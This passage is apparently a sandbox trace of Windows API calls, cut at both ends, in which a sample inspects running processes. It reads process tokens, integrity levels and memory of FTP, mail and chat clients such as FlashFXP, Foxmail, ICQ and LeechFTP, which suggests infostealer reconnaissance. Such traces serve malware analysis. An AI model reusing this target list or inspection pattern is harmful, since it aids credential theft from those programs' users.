Information\\flashfxp.exe", lpdwSize=0x119fa50) returned 1 [0095.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.306] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.306] IsWow64Process (in: hProcess=0x1fc, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.306] NtQueryInformationProcess (in: ProcessHandle=0x1fc, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.306] GetProcessTimes (in: hProcess=0x1fc, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.307] OpenProcessToken (in: ProcessHandle=0x1fc, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.307] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.307] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.307] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.307] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.308] NtClose (Handle=0x2a0) returned 0x0 [0095.308] NtQueryVirtualMemory (in: ProcessHandle=0x1fc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.308] NtQueryVirtualMemory (in: ProcessHandle=0x1fc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.323] QueryFullProcessImageNameW (in: hProcess=0x200, dwFlags=0x0, lpExeName=0x1273700, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\MSBuild\\fling.exe", lpdwSize=0x119fa50) returned 1 [0095.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273700) returned 1 [0095.324] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.324] IsWow64Process (in: hProcess=0x200, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.324] NtQueryInformationProcess (in: ProcessHandle=0x200, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.324] GetProcessTimes (in: hProcess=0x200, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.324] OpenProcessToken (in: ProcessHandle=0x200, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.324] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.325] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.325] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.325] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.326] NtClose (Handle=0x2a0) returned 0x0 [0095.326] NtQueryVirtualMemory (in: ProcessHandle=0x200, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.326] NtQueryVirtualMemory (in: ProcessHandle=0x200, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.349] QueryFullProcessImageNameW (in: hProcess=0x204, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Uninstall Information\\foxmailincmail.exe", lpdwSize=0x119fa50) returned 1 [0095.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.350] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.350] IsWow64Process (in: hProcess=0x204, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.350] NtQueryInformationProcess (in: ProcessHandle=0x204, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.350] GetProcessTimes (in: hProcess=0x204, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.350] OpenProcessToken (in: ProcessHandle=0x204, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.350] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.350] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.350] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.350] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.351] NtClose (Handle=0x2a0) returned 0x0 [0095.351] NtQueryVirtualMemory (in: ProcessHandle=0x204, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.351] NtQueryVirtualMemory (in: ProcessHandle=0x204, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.362] QueryFullProcessImageNameW (in: hProcess=0x208, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Microsoft Office\\gmailnotifierpro.exe", lpdwSize=0x119fa50) returned 1 [0095.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.363] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.363] IsWow64Process (in: hProcess=0x208, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.363] NtQueryInformationProcess (in: ProcessHandle=0x208, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.363] GetProcessTimes (in: hProcess=0x208, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.363] OpenProcessToken (in: ProcessHandle=0x208, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.363] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.364] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.364] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.364] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.364] NtClose (Handle=0x2a0) returned 0x0 [0095.364] NtQueryVirtualMemory (in: ProcessHandle=0x208, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.364] NtQueryVirtualMemory (in: ProcessHandle=0x208, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.376] QueryFullProcessImageNameW (in: hProcess=0x20c, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Microsoft Office\\icq.exe", lpdwSize=0x119fa50) returned 1 [0095.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.376] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.376] IsWow64Process (in: hProcess=0x20c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.377] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.377] GetProcessTimes (in: hProcess=0x20c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.377] OpenProcessToken (in: ProcessHandle=0x20c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.377] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.377] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.377] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.377] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.378] NtClose (Handle=0x2a0) returned 0x0 [0095.378] NtQueryVirtualMemory (in: ProcessHandle=0x20c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.378] NtQueryVirtualMemory (in: ProcessHandle=0x20c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.389] QueryFullProcessImageNameW (in: hProcess=0x210, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Windows NT\\leechftp.exe", lpdwSize=0x119fa50) returned 1 [0095.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.390] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.390] IsWow64Process (in: hProcess=0x210, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.390] NtQueryInformationProcess (in: ProcessHandle=0x210, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.390] GetProcessTimes (in: hProcess=0x210, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.390] OpenProcessToken (in: ProcessHandle=0x210, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.390] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.391] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.391] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.391] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.392] NtClose (Handle=0x2a0) returned 0x0 [0095.392] NtQueryVirtualMemory (in: ProcessHandle=0x210, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.392] NtQueryVirtualMemory (in: ProcessHandle=0x210, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.403] QueryFullProcessImageNameW (in: hProcess=0x214, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Microsoft Synchronization Services\\ncftp.exe", lpdwSize=0x119fa50) returned 1 [0095.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.404] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.404] IsWow64Process (in: hProcess=0x214, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.404] NtQueryInformationProcess (in: ProcessHandle=0x214, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.404] GetProcessTimes (in: hProcess=0x214, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.404] OpenProcessToken (in: ProcessHandle=0x214, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.404] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.404] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.405] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.405] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.405] NtClose (Handle=0x2a0) returned 0x0 [0095.405] NtQueryVirtualMemory (in: ProcessHandle=0x214, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.405] NtQueryVirtualMemory (in: ProcessHandle=0x214, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.417] QueryFullProcessImageNameW (in: hProcess=0x218, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Office\\notepad.exe", lpdwSize=0x119fa50) returned 1 [0095.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.417] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.417] IsWow64Process (in: hProcess=0x218, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.417] NtQueryInformationProcess (in: ProcessHandle=0x218, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.417] GetProcessTimes (in: hProcess=0x218, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.418] OpenProcessToken (in: ProcessHandle=0x218, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.418] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.418] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.418] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.418] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.419] NtClose (Handle=0x2a0) returned 0x0 [0095.419] NtQueryVirtualMemory (in: ProcessHandle=0x218, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.419] NtQueryVirtualMemory (in: ProcessHandle=0x218, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.431] QueryFullProcessImageNameW (in: hProcess=0x21c, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Windows Mail\\operamail.exe", lpdwSize=0x119fa50) returned 1 [0095.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.432] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.432] IsWow64Process (in: hProcess=0x21c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.432] NtQueryInformationProcess (in: ProcessHandle=0x21c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.432] GetProcessTimes (in: hProcess=0x21c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.432] OpenProcessToken (in: ProcessHandle=0x21c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.432] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.432] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.432] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.432] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), 